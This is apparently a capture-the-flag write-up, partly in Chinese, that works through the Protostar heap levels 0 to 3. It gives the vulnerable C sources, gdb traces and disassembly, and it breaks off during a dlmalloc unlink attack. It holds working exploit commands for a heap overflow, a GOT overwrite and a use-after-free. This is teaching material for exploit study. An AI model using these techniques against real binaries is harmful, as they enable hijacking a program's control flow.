跳转至

Heap

The levels to be exploited can be found in the /opt/protostar/bin directory.

Heap 0

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];
};

struct fp {
  int (*fp)();
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));  // 64 bytes
  f = malloc(sizeof(struct fp));    // 4 bytes
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);

  f->fp();

}
  • 需要修改 f->fp 的值，使其指向 winner 函数

  • 查看 d->name 溢出后对 f->fp 的影响

    s = ''
for i in range(0x41, 0x5b):
    s += chr(i) * 4
print s

    $ gdb ./heap0
(gdb) r `python /tmp/heap.py`

Starting program: /opt/protostar/bin/heap0 `python /tmp/heap.py`
data is at 0x804a008, fp is at 0x804a050

Program received signal SIGSEGV, Segmentation fault.
0x53535353 in ?? () # S

  • winner 函数的地址

    (gdb) x winner 
0x8048464 <winner>: 0x83e58955

Exploit

$ ./heap0 $(python -c "print 'A' * 72 + '\x64\x84\x04\x08'")
data is at 0x804a008, fp is at 0x804a050
level passed

Heap 1

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  // i1 points to the start of 8 bytes in memory
  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8); // i1 + 4

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);    // 超过 8 字节将会影响 i2 对应的内存
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

  • 查看 i1->name 溢出对 i2->name 的影响

    • 可以改变 i2->name 的值，从而能通过 strcpy 写入任意地址
    $ gdb ./heap1
(gdb) r AAAABBBBCCCCDDDDEEEEFFFFGGGG 00001111222233334444
Starting program: /opt/protostar/bin/heap1 AAAABBBBCCCCDDDDEEEEFFFFGGGG 00001111222233334444

Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x46464646 <Address 0x46464646 out of bounds>, # F
    src=0xbffff8a1 "00001111222233334444") at strcpy.c:40
40  strcpy.c: No such file or directory.
    in strcpy.c

  • 注意到最后调用了 printf 函数，可以覆盖其 GOT 表条目

    (gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x080484b9 <main+0>:    push   ebp
0x080484ba <main+1>:    mov    ebp,esp
0x080484bc <main+3>:    and    esp,0xfffffff0
0x080484bf <main+6>:    sub    esp,0x20
0x080484c2 <main+9>:    mov    DWORD PTR [esp],0x8
0x080484c9 <main+16>:   call   0x80483bc <malloc@plt>
0x080484ce <main+21>:   mov    DWORD PTR [esp+0x14],eax
0x080484d2 <main+25>:   mov    eax,DWORD PTR [esp+0x14]
0x080484d6 <main+29>:   mov    DWORD PTR [eax],0x1
0x080484dc <main+35>:   mov    DWORD PTR [esp],0x8
0x080484e3 <main+42>:   call   0x80483bc <malloc@plt>
0x080484e8 <main+47>:   mov    edx,eax
0x080484ea <main+49>:   mov    eax,DWORD PTR [esp+0x14]
0x080484ee <main+53>:   mov    DWORD PTR [eax+0x4],edx
0x080484f1 <main+56>:   mov    DWORD PTR [esp],0x8
0x080484f8 <main+63>:   call   0x80483bc <malloc@plt>
0x080484fd <main+68>:   mov    DWORD PTR [esp+0x18],eax
0x08048501 <main+72>:   mov    eax,DWORD PTR [esp+0x18]
0x08048505 <main+76>:   mov    DWORD PTR [eax],0x2
0x0804850b <main+82>:   mov    DWORD PTR [esp],0x8
0x08048512 <main+89>:   call   0x80483bc <malloc@plt>
0x08048517 <main+94>:   mov    edx,eax
0x08048519 <main+96>:   mov    eax,DWORD PTR [esp+0x18]
0x0804851d <main+100>:  mov    DWORD PTR [eax+0x4],edx
0x08048520 <main+103>:  mov    eax,DWORD PTR [ebp+0xc]
0x08048523 <main+106>:  add    eax,0x4
0x08048526 <main+109>:  mov    eax,DWORD PTR [eax]
0x08048528 <main+111>:  mov    edx,eax
0x0804852a <main+113>:  mov    eax,DWORD PTR [esp+0x14]
0x0804852e <main+117>:  mov    eax,DWORD PTR [eax+0x4]
0x08048531 <main+120>:  mov    DWORD PTR [esp+0x4],edx
0x08048535 <main+124>:  mov    DWORD PTR [esp],eax
0x08048538 <main+127>:  call   0x804838c <strcpy@plt>
0x0804853d <main+132>:  mov    eax,DWORD PTR [ebp+0xc]
0x08048540 <main+135>:  add    eax,0x8
0x08048543 <main+138>:  mov    eax,DWORD PTR [eax]
0x08048545 <main+140>:  mov    edx,eax
0x08048547 <main+142>:  mov    eax,DWORD PTR [esp+0x18]
0x0804854b <main+146>:  mov    eax,DWORD PTR [eax+0x4]
0x0804854e <main+149>:  mov    DWORD PTR [esp+0x4],edx
0x08048552 <main+153>:  mov    DWORD PTR [esp],eax
0x08048555 <main+156>:  call   0x804838c <strcpy@plt>
0x0804855a <main+161>:  mov    DWORD PTR [esp],0x804864b
0x08048561 <main+168>:  call   0x80483cc <puts@plt> # 由于编译优化，实际上调用的是 puts
0x08048566 <main+173>:  leave  
0x08048567 <main+174>:  ret    
End of assembler dump.
(gdb) disassemble 0x80483cc
Dump of assembler code for function puts@plt:
0x080483cc <puts@plt+0>:    jmp    DWORD PTR ds:0x8049774
0x080483d2 <puts@plt+6>:    push   0x30
0x080483d7 <puts@plt+11>:   jmp    0x804835c
End of assembler dump.
(gdb) x 0x8049774
0x8049774 <_GLOBAL_OFFSET_TABLE_+36>:   0x080483d2

  • winner 函数的地址

    (gdb) x winner 
0x8048494 <winner>: 0x83e58955

Exploit

$ ./heap1 `python -c "print 'A' * 20 + '\x74\x97\x04\x08'"` `python -c "print '\x94\x84\x04\x08'"`
and we have a winner @ 1662252909
$ ./heap1 "`echo -ne "AAAABBBBCCCCDDDDEEEE\x74\x97\x04\x08"`" "`echo -ne "\x94\x84\x04\x08"`"
and we have a winner @ 1662253600
$ ./heap1 "`/bin/echo -ne "AAAABBBBCCCCDDDDEEEE\x74\x97\x04\x08"`" "`/bin/echo -ne "\x94\x84\x04\x08"`"
and we have a winner @ 1662256772
# 在 gdb 中需要使用 /bin/echo，使用 echo 将不解析参数 -ne 而是直接输出

Additional

关于在 gdb 中使用 echo 不能成功的问题

$ gdb ./heap1
(gdb) break *0x080484ce
Breakpoint 1 at 0x80484ce: file heap1/heap1.c, line 23.
(gdb) break *0x0804853d
Breakpoint 2 at 0x804853d: file heap1/heap1.c, line 32.
(gdb) r "`echo -ne "AAAABBBBCCCCDDDDEEEE\x74\x97\x04\x08"`" "`echo -ne "\x94\x84\x04\x08"`"
Starting program: /opt/protostar/bin/heap1 "`echo -ne "AAAABBBBCCCCDDDDEEEE\x74\x97\x04\x08"`" "`echo -ne "\x94\x84\x04\x08"`"

Breakpoint 1, 0x080484ce in main (argc=3, argv=0xbffff714) at heap1/heap1.c:23
23  in heap1/heap1.c
(gdb) info registers 
eax            0x804a008    134520840
ecx            0xb7fd93a0   -1208118368
edx            0x804a000    134520832
ebx            0xb7fd7ff4   -1208123404
esp            0xbffff640   0xbffff640
ebp            0xbffff668   0xbffff668
esi            0x0  0
edi            0x0  0
eip            0x80484ce    0x80484ce <main+21>
eflags         0x200246 [ PF ZF IF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
(gdb) set $i1 = (struct internet*)0x804a008
(gdb) print *$i1
$1 = {priority = 0, name = 0x0}
(gdb) c
Continuing.

Breakpoint 2, main (argc=3, argv=0xbffff714) at heap1/heap1.c:32
32  in heap1/heap1.c
(gdb) print *$i1
$2 = {priority = 1, 
  name = 0x804a018 "-ne AAAABBBBCCCCDDDDEEEE\\x74\\x97\\x04\\x08"}

Heap 2

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
  char name[32];
  int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
  char line[128];

  while(1) {
    printf("[ auth = %p, service = %p ]\n", auth, service);

    if(fgets(line, sizeof(line), stdin) == NULL) break;

    if(strncmp(line, "auth ", 5) == 0) {
      auth = malloc(sizeof(auth));
      memset(auth, 0, sizeof(auth));    // new allocated area can have old data
      if(strlen(line + 5) < 31) {
        strcpy(auth->name, line + 5);
      }
    }
    if(strncmp(line, "reset", 5) == 0) {
      free(auth);
    }
    if(strncmp(line, "service", 6) == 0) {
      service = strdup(line + 7);
      // strdup(s) returns a pointer to a new string which is a duplicate of the string s. Memory for the new string is obtained with malloc.
    }
    if(strncmp(line, "login", 5) == 0) {
      if(auth->auth) {  // use after free
        printf("you have logged in already!\n");
      } else {
        printf("please enter your password\n");
      }
    }
  }
}

  • 使用测试

    $ ./heap2
[ auth = (nil), service = (nil) ]
auth admin
[ auth = 0x804c008, service = (nil) ]
login
please enter your password
[ auth = 0x804c008, service = (nil) ]
reset
[ auth = 0x804c008, service = (nil) ]
login
please enter your password
[ auth = 0x804c008, service = (nil) ]
service hack
[ auth = 0x804c008, service = 0x804c008 ]
# auth was freed and service got that free space there

  • 使用 gdb 查看堆的使用情况

    Dump of assembler code for function main 
    (gdb) set disassembly-flavor intel
(gdb) disassemble main 
Dump of assembler code for function main:
0x08048934 <main+0>:    push   ebp
0x08048935 <main+1>:    mov    ebp,esp
0x08048937 <main+3>:    and    esp,0xfffffff0
0x0804893a <main+6>:    sub    esp,0x90
0x08048940 <main+12>:   jmp    0x8048943 <main+15>
0x08048942 <main+14>:   nop
0x08048943 <main+15>:   mov    ecx,DWORD PTR ds:0x804b5f8
0x08048949 <main+21>:   mov    edx,DWORD PTR ds:0x804b5f4
0x0804894f <main+27>:   mov    eax,0x804ad70
0x08048954 <main+32>:   mov    DWORD PTR [esp+0x8],ecx
0x08048958 <main+36>:   mov    DWORD PTR [esp+0x4],edx
0x0804895c <main+40>:   mov    DWORD PTR [esp],eax
0x0804895f <main+43>:   call   0x804881c <printf@plt>
0x08048964 <main+48>:   mov    eax,ds:0x804b164
0x08048969 <main+53>:   mov    DWORD PTR [esp+0x8],eax
0x0804896d <main+57>:   mov    DWORD PTR [esp+0x4],0x80
0x08048975 <main+65>:   lea    eax,[esp+0x10]
0x08048979 <main+69>:   mov    DWORD PTR [esp],eax
0x0804897c <main+72>:   call   0x80487ac <fgets@plt>
0x08048981 <main+77>:   test   eax,eax
0x08048983 <main+79>:   jne    0x8048987 <main+83>
0x08048985 <main+81>:   leave  
0x08048986 <main+82>:   ret    
0x08048987 <main+83>:   mov    DWORD PTR [esp+0x8],0x5
0x0804898f <main+91>:   mov    DWORD PTR [esp+0x4],0x804ad8d
0x08048997 <main+99>:   lea    eax,[esp+0x10]
0x0804899b <main+103>:  mov    DWORD PTR [esp],eax
0x0804899e <main+106>:  call   0x804884c <strncmp@plt>
0x080489a3 <main+111>:  test   eax,eax
0x080489a5 <main+113>:  jne    0x8048a01 <main+205>
0x080489a7 <main+115>:  mov    DWORD PTR [esp],0x4
0x080489ae <main+122>:  call   0x804916a <malloc>
0x080489b3 <main+127>:  mov    ds:0x804b5f4,eax
0x080489b8 <main+132>:  mov    eax,ds:0x804b5f4
0x080489bd <main+137>:  mov    DWORD PTR [esp+0x8],0x4
0x080489c5 <main+145>:  mov    DWORD PTR [esp+0x4],0x0
0x080489cd <main+153>:  mov    DWORD PTR [esp],eax
0x080489d0 <main+156>:  call   0x80487bc <memset@plt>
0x080489d5 <main+161>:  lea    eax,[esp+0x10]
0x080489d9 <main+165>:  add    eax,0x5
0x080489dc <main+168>:  mov    DWORD PTR [esp],eax
0x080489df <main+171>:  call   0x80487fc <strlen@plt>
0x080489e4 <main+176>:  cmp    eax,0x1e
0x080489e7 <main+179>:  ja     0x8048a01 <main+205>
0x080489e9 <main+181>:  lea    eax,[esp+0x10]
0x080489ed <main+185>:  lea    edx,[eax+0x5]
0x080489f0 <main+188>:  mov    eax,ds:0x804b5f4
0x080489f5 <main+193>:  mov    DWORD PTR [esp+0x4],edx
0x080489f9 <main+197>:  mov    DWORD PTR [esp],eax
0x080489fc <main+200>:  call   0x804880c <strcpy@plt>
0x08048a01 <main+205>:  mov    DWORD PTR [esp+0x8],0x5
0x08048a09 <main+213>:  mov    DWORD PTR [esp+0x4],0x804ad93
0x08048a11 <main+221>:  lea    eax,[esp+0x10]
0x08048a15 <main+225>:  mov    DWORD PTR [esp],eax
0x08048a18 <main+228>:  call   0x804884c <strncmp@plt>
0x08048a1d <main+233>:  test   eax,eax
0x08048a1f <main+235>:  jne    0x8048a2e <main+250>
0x08048a21 <main+237>:  mov    eax,ds:0x804b5f4
0x08048a26 <main+242>:  mov    DWORD PTR [esp],eax
0x08048a29 <main+245>:  call   0x804999c <free>
0x08048a2e <main+250>:  mov    DWORD PTR [esp+0x8],0x6
0x08048a36 <main+258>:  mov    DWORD PTR [esp+0x4],0x804ad99
0x08048a3e <main+266>:  lea    eax,[esp+0x10]
0x08048a42 <main+270>:  mov    DWORD PTR [esp],eax
0x08048a45 <main+273>:  call   0x804884c <strncmp@plt>
0x08048a4a <main+278>:  test   eax,eax
0x08048a4c <main+280>:  jne    0x8048a62 <main+302>
0x08048a4e <main+282>:  lea    eax,[esp+0x10]
0x08048a52 <main+286>:  add    eax,0x7
0x08048a55 <main+289>:  mov    DWORD PTR [esp],eax
0x08048a58 <main+292>:  call   0x804886c <strdup@plt>
0x08048a5d <main+297>:  mov    ds:0x804b5f8,eax
0x08048a62 <main+302>:  mov    DWORD PTR [esp+0x8],0x5
0x08048a6a <main+310>:  mov    DWORD PTR [esp+0x4],0x804ada1
0x08048a72 <main+318>:  lea    eax,[esp+0x10]
0x08048a76 <main+322>:  mov    DWORD PTR [esp],eax
0x08048a79 <main+325>:  call   0x804884c <strncmp@plt>
0x08048a7e <main+330>:  test   eax,eax
0x08048a80 <main+332>:  jne    0x8048942 <main+14>
0x08048a86 <main+338>:  mov    eax,ds:0x804b5f4
0x08048a8b <main+343>:  mov    eax,DWORD PTR [eax+0x20]
0x08048a8e <main+346>:  test   eax,eax
0x08048a90 <main+348>:  je     0x8048aa3 <main+367>
0x08048a92 <main+350>:  mov    DWORD PTR [esp],0x804ada7
0x08048a99 <main+357>:  call   0x804883c <puts@plt>
0x08048a9e <main+362>:  jmp    0x8048943 <main+15>
0x08048aa3 <main+367>:  mov    DWORD PTR [esp],0x804adc3
0x08048aaa <main+374>:  call   0x804883c <puts@plt>
0x08048aaf <main+379>:  jmp    0x8048943 <main+15>
End of assembler dump.

    (gdb) r
Starting program: /opt/protostar/bin/heap2 
[ auth = (nil), service = (nil) ]
auth admin
[ auth = 0x804c008, service = (nil) ]
^C
Program received signal SIGINT, Interrupt.
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82  ../sysdeps/unix/syscall-template.S: No such file or directory.
  in ../sysdeps/unix/syscall-template.S
Current language:  auto
The current source language is "auto; currently asm".
(gdb) info proc mappings
process 7281
cmdline = '/opt/protostar/bin/heap2'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap2'
Mapped address spaces:

  Start Addr   End Addr       Size     Offset objfile
  0x8048000  0x804b000     0x3000          0        /opt/protostar/bin/heap2
  0x804b000  0x804c000     0x1000     0x3000        /opt/protostar/bin/heap2
  0x804c000  0x804d000     0x1000          0           [heap]
  0xb7e96000 0xb7e97000     0x1000          0        
  0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
  0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
  0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
  0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
  0xb7fd9000 0xb7fdc000     0x3000          0        
  0xb7fde000 0xb7fe2000     0x4000          0        
  0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
  0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
  0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
  0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
  0xbffeb000 0xc0000000    0x15000          0           [stack]
(gdb) break *0x0804895f # call   0x804881c <printf@plt>
Breakpoint 1 at 0x804895f: file heap2/heap2.c, line 20.
(gdb) command  # define what gdb commands shall be executed when the breakpoint is hit
Type commands for when breakpoint 1 is hit, one per line.
End with a line saying just "end".
>echo -------------------------------------------------\n
>x/20wx 0x804c000 # print the heap
>echo --------auth-------------------------------------\n
>print *auth
>echo --------service----------------------------------\n
>print service
>echo -------------------------------------------------\n
>continue
>end

    (gdb) r
Starting program: /opt/protostar/bin/heap2 

Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff754) at heap2/heap2.c:20
20  in heap2/heap2.c
Current language:  auto
The current source language is "auto; currently c".
-------------------------------------------------
0x804c000:  Cannot access memory at address 0x804c000
(gdb) c
Continuing.
[ auth = (nil), service = (nil) ]
auth admin

Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff754) at heap2/heap2.c:20
20  in heap2/heap2.c
-------------------------------------------------
0x804c000:  0x00000000  0x00000011  0x696d6461  0x00000a6e
# 实际上 sizeof(auth) 返回的是指针 auth 的大小（4 bytes）而不是结构体 auth
# 考虑到对齐，所以这里只分配了 8 字节（8 bytes header + 8 bytes data）
0x804c010:  0x00000000  0x00000ff1  0x00000000  0x00000000
0x804c020:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c030:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c040:  0x00000000  0x00000000  0x00000000  0x00000000
--------auth-------------------------------------
$5 = {name = "admin\n\000\000\000\000\000\000\361\017", '\000' <repeats 17 times>, auth = 0}
--------service----------------------------------
$6 = 0x0
-------------------------------------------------
[ auth = 0x804c008, service = (nil) ]
reset

Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff754) at heap2/heap2.c:20
20  in heap2/heap2.c
-------------------------------------------------
# the first word of the chunk data got replaced with 0
# because the first word in a free chunk is defined as the previous free chunk address
# free chunks 是链表，因为没有其它 free chunk，所以为空
0x804c000:  0x00000000  0x00000011  0x00000000  0x00000a6e
0x804c010:  0x00000000  0x00000ff1  0x00000000  0x00000000
0x804c020:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c030:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c040:  0x00000000  0x00000000  0x00000000  0x00000000
--------auth-------------------------------------
$7 = {name = "\000\000\000\000n\n\000\000\000\000\000\000\361\017", '\000' <repeats 17 times>, auth = 0}
--------service----------------------------------
$8 = 0x0
-------------------------------------------------
[ auth = 0x804c008, service = (nil) ]
service AAA

Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff754) at heap2/heap2.c:20
20  in heap2/heap2.c
-------------------------------------------------
0x804c000:  0x00000000  0x00000011  0x41414120  0x0000000a
0x804c010:  0x00000000  0x00000ff1  0x00000000  0x00000000
0x804c020:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c030:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c040:  0x00000000  0x00000000  0x00000000  0x00000000
--------auth-------------------------------------
$9 = {name = " AAA\n\000\000\000\000\000\000\000\361\017", '\000' <repeats 17 times>, auth = 0}
--------service----------------------------------
$10 = 0x804c008 " AAA\n"
-------------------------------------------------
[ auth = 0x804c008, service = 0x804c008 ]
service BBB

Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff754) at heap2/heap2.c:20
20  in heap2/heap2.c
-------------------------------------------------
0x804c000:  0x00000000  0x00000011  0x41414120  0x0000000a
0x804c010:  0x00000000  0x00000011  0x42424220  0x0000000a
0x804c020:  0x00000000  0x00000fe1  0x00000000  0x00000000
0x804c030:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c040:  0x00000000  0x00000000  0x00000000  0x00000000
--------auth-------------------------------------
$11 = {name = " AAA\n\000\000\000\000\000\000\000\021\000\000\000 BBB\n\000\000\000\000\000\000\000\341\017\000", auth = 0}
--------service----------------------------------
$12 = 0x804c018 " BBB\n"
-------------------------------------------------
[ auth = 0x804c008, service = 0x804c018 ]
service CCC

Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff754) at heap2/heap2.c:20
20  in heap2/heap2.c
-------------------------------------------------
0x804c000:  0x00000000  0x00000011  0x41414120  0x0000000a
0x804c010:  0x00000000  0x00000011  0x42424220  0x0000000a
0x804c020:  0x00000000  0x00000011  0x43434320  0x0000000a
0x804c030:  0x00000000  0x00000fd1  0x00000000  0x00000000
0x804c040:  0x00000000  0x00000000  0x00000000  0x00000000
--------auth-------------------------------------
# struct auth {
#   char name[32];
#   int auth;
# };
# 0x804c008 + 0x20 = 0x804c028
$13 = {name = " AAA\n\000\000\000\000\000\000\000\021\000\000\000 BBB\n\000\000\000\000\000\000\000\021\000\000", auth = 1128481568}  # 0x43434320
--------service----------------------------------
$14 = 0x804c028 " CCC\n"
-------------------------------------------------
[ auth = 0x804c008, service = 0x804c028 ]
login
you have logged in already!

  • 由于动态分配大小错误，也可以直接覆盖

    (gdb) r
Starting program: /opt/protostar/bin/heap2 

Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff754) at heap2/heap2.c:20
20  in heap2/heap2.c
Current language:  auto
The current source language is "auto; currently c".
-------------------------------------------------
0x804c000:  Cannot access memory at address 0x804c000
(gdb) c
Continuing.
[ auth = (nil), service = (nil) ]
auth admin

Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff754) at heap2/heap2.c:20
20  in heap2/heap2.c
-------------------------------------------------
0x804c000:  0x00000000  0x00000011  0x696d6461  0x00000a6e
0x804c010:  0x00000000  0x00000ff1  0x00000000  0x00000000
0x804c020:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c030:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c040:  0x00000000  0x00000000  0x00000000  0x00000000
--------auth-------------------------------------
$17 = {name = "admin\n\000\000\000\000\000\000\361\017", '\000' <repeats 17 times>, auth = 0}
--------service----------------------------------
$18 = 0x0
-------------------------------------------------
[ auth = 0x804c008, service = (nil) ]
service AAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff754) at heap2/heap2.c:20
20  in heap2/heap2.c
-------------------------------------------------
0x804c000:  0x00000000  0x00000011  0x696d6461  0x00000a6e
0x804c010:  0x00000000  0x00000029  0x41414120  0x41414141
0x804c020:  0x41414141  0x41414141  0x41414141  0x41414141
0x804c030:  0x41414141  0x0000000a  0x00000000  0x00000fc9
0x804c040:  0x00000000  0x00000000  0x00000000  0x00000000
--------auth-------------------------------------
$19 = {name = "admin\n\000\000\000\000\000\000)\000\000\000 ", 'A' <repeats 15 times>, auth = 1094795585}
--------service----------------------------------
$20 = 0x804c018 " ", 'A' <repeats 27 times>, "\n"
-------------------------------------------------
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!

Exploit

# use after free
$ ./heap2
[ auth = (nil), service = (nil) ]
auth admin
[ auth = 0x804c008, service = (nil) ]
reset
[ auth = 0x804c008, service = (nil) ]
service AAA
[ auth = 0x804c008, service = 0x804c008 ]
service BBB
[ auth = 0x804c008, service = 0x804c018 ]
service CCC
[ auth = 0x804c008, service = 0x804c028 ]
login
you have logged in already!

# simple overwrite
$ ./heap2
[ auth = (nil), service = (nil) ]
auth admin
[ auth = 0x804c008, service = (nil) ]
service AAAAAAAAAAAAAAAAAAAAAAA
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!

Heap 3

the Doug Lea Malloc (dlmalloc)

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
  printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  char *a, *b, *c;

  a = malloc(32);
  b = malloc(32);
  c = malloc(32);

  strcpy(a, argv[1]); // can't deal with null bytes
  strcpy(b, argv[2]);
  strcpy(c, argv[3]);

  free(c);
  free(b);
  free(a);

  printf("dynamite failed?\n");
}

  • 通过 malloc 的 unlink 修改 GOT 表条目，FD->bk 对应目标 GOT 表条目地址，BK 指向 shellcode 的起始地址

    • 注意有 BK->fd 写回
    #define unlink(P, BK, FD) {
  FD = P->fd;              
  BK = P->bk;              
  FD->bk = BK;             
  BK->fd = FD;             
}

  • Overflow b 修改 c 对应 chunk 的大小使其大于 MAX_FAST_SIZE 80，Overflow c 来构造 fake chunk 控制 unlink，用于调用函数 winner 的 shellcode 可放于 a 中

    • fake chunk 的 prev_inuse 位需设置为 0

    • 注意 free 会修改 chunk 的 forward pointer，即 data 域的首 \(4\) 字节

      prev_size size fd bk

  • fake chunk 的 next chunk 的 prev_inuse 位同样应为 0，从而能调用 unlink

    nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

if (!nextinuse) {
  unlink(nextchunk, bck, fwd);
  size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);

  • next chunk 的起始地址根据当前 chunk 的起始地址和 size 进行计算，可以设置 size 为 0xfffffffc，实际计算等同于 -4，避免了 null 字节也无需再构造一个 chunk

  • 查看相关地址信息

    Dump of assembler code for function main 
    (gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x08048889 <main+0>:    push   ebp
0x0804888a <main+1>:    mov    ebp,esp
0x0804888c <main+3>:    and    esp,0xfffffff0
0x0804888f <main+6>:    sub    esp,0x20
0x08048892 <main+9>:    mov    DWORD PTR [esp],0x20
0x08048899 <main+16>:   call   0x8048ff2 <malloc>
0x0804889e <main+21>:   mov    DWORD PTR [esp+0x14],eax
0x080488a2 <main+25>:   mov    DWORD PTR [esp],0x20
0x080488a9 <main+32>:   call   0x8048ff2 <malloc>
0x080488ae <main+37>:   mov    DWORD PTR [esp+0x18],eax
0x080488b2 <main+41>:   mov    DWORD PTR [esp],0x20
0x080488b9 <main+48>:   call   0x8048ff2 <malloc>
0x080488be <main+53>:   mov    DWORD PTR [esp+0x1c],eax
0x080488c2 <main+57>:   mov    eax,DWORD PTR [ebp+0xc]
0x080488c5 <main+60>:   add    eax,0x4
0x080488c8 <main+63>:   mov    eax,DWORD PTR [eax]
0x080488ca <main+65>:   mov    DWORD PTR [esp+0x4],eax
0x080488ce <main+69>:   mov    eax,DWORD PTR [esp+0x14]
0x080488d2 <main+73>:   mov    DWORD PTR [esp],eax
0x080488d5 <main+76>:   call   0x8048750 <strcpy@plt>
0x080488da <main+81>:   mov    eax,DWORD PTR [ebp+0xc]
0x080488dd <main+84>:   add    eax,0x8
0x080488e0 <main+87>:   mov    eax,DWORD PTR [eax]
0x080488e2 <main+89>:   mov    DWORD PTR [esp+0x4],eax
0x080488e6 <main+93>:   mov    eax,DWORD PTR [esp+0x18]
0x080488ea <main+97>:   mov    DWORD PTR [esp],eax
0x080488ed <main+100>:  call   0x8048750 <strcpy@plt>
0x080488f2 <main+105>:  mov    eax,DWORD PTR [ebp+0xc]
0x080488f5 <main+108>:  add    eax,0xc
0x080488f8 <main+111>:  mov    eax,DWORD PTR [eax]
0x080488fa <main+113>:  mov    DWORD PTR [esp+0x4],eax
0x080488fe <main+117>:  mov    eax,DWORD PTR [esp+0x1c]
0x08048902 <main+121>:  mov    DWORD PTR [esp],eax
0x08048905 <main+124>:  call   0x8048750 <strcpy@plt>
0x0804890a <main+129>:  mov    eax,DWORD PTR [esp+0x1c]
0x0804890e <main+133>:  mov    DWORD PTR [esp],eax
0x08048911 <main+136>:  call   0x8049824 <free>
0x08048916 <main+141>:  mov    eax,DWORD PTR [esp+0x18]
0x0804891a <main+145>:  mov    DWORD PTR [esp],eax
0x0804891d <main+148>:  call   0x8049824 <free>
0x08048922 <main+153>:  mov    eax,DWORD PTR [esp+0x14]
0x08048926 <main+157>:  mov    DWORD PTR [esp],eax
0x08048929 <main+160>:  call   0x8049824 <free>
0x0804892e <main+165>:  mov    DWORD PTR [esp],0x804ac27
0x08048935 <main+172>:  call   0x8048790 <puts@plt>
0x0804893a <main+177>:  leave  
0x0804893b <main+178>:  ret    
End of assembler dump.

    (gdb) x winner 
0x8048864 <winner>: 0x83e58955
(gdb) disassemble 0x8048790
Dump of assembler code for function puts@plt:
0x08048790 <puts@plt+0>:    jmp    DWORD PTR ds:0x804b128
0x08048796 <puts@plt+6>:    push   0x68
0x0804879b <puts@plt+11>:   jmp    0x80486b0
End of assembler dump.
(gdb) x 0x804b128
0x804b128 <_GLOBAL_OFFSET_TABLE_+64>:   0x08048796
(gdb) info proc map
process 17219
cmdline = '/opt/protostar/bin/heap3'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap3'
Mapped address spaces:

  Start Addr   End Addr       Size     Offset objfile
  0x8048000  0x804b000     0x3000          0        /opt/protostar/bin/heap3
  0x804b000  0x804c000     0x1000     0x3000        /opt/protostar/bin/heap3
  0x804c000  0x804d000     0x1000          0           [heap]
  0xb7e96000 0xb7e97000     0x1000          0        
  0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
  0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
  0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
  0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
  0xb7fd9000 0xb7fdc000     0x3000          0        
  0xb7fe0000 0xb7fe2000     0x2000          0        
  0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
